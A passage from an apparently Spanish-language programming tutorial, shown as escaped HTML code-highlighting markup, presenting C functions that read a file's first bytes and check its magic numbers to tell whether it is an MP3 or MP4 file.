             &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// rompemos el bucle&lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cerramos el archivo&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Regresamos el valor&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Definimos un array de n bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;FILE&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fopen&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Abrimos el archivo en modo binario y lectura&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fread&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lemos los primeros n bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el array&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;isgraph&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]))&lt;/span&gt;  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si se puede imprimir&lt;/span&gt;
            &lt;span style=&quot;color: black;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Nums %c\n&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lo imprimimos&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

    &lt;span style=&quot;color: black;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Con esa funcion que definimos logramos saber si un archivo es mp3,igual lo podemos hacer con un mp4 solo que wikipedia nos dice que hay dos posibilidades,veamos:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#include &amp;lt;ctype.h&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#define BYTES 8 // Numero de bytes&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;enum&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;_boolean&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Tipo boolean&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Funcion que leera el archivo,le pasamos el nombre&lt;/span&gt;

&lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isMp3&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Funcion para saber si es mp3&lt;/span&gt;

&lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isMp4&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[])&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;){&lt;/span&gt;

        &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Le pasamos el nombre del archivo que indiquemos en el argumento&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;isMp4&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]))&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos si es mp3&lt;/span&gt;
            &lt;span style=&quot;color: black;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;%s es mp4\n&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt;
            &lt;span style=&quot;color: black;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;%s no es mp4\n&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isMp4&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Numero de Bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// array que contendra los numero magicos&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x22&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x67&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x70&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x35&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;};&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Numeros magicos del mp4&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id2&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x66&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x74&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x79&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x70&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;};&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Numeros magicos del mp4(otra posibilidad)&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Este sera el valor de retorno&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;FILE&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fopen&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Abrimos el archivo&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fread&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lemos los primeros 4 bytes para probar el primer id&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el array&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;])&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no son iguales &lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
             &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cambiamos el valor de retorno&lt;/span&gt;
             &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// rompemos el bucle&lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si la bandera es FALSE probamos el siguiente id&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cambiamos el flag a TRUE&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;fseek&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;SEEK_SET&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Nos movemos 4 bytes a la derecha ya que no nos sirven estos : 00 00 00 nn&lt;/span&gt;
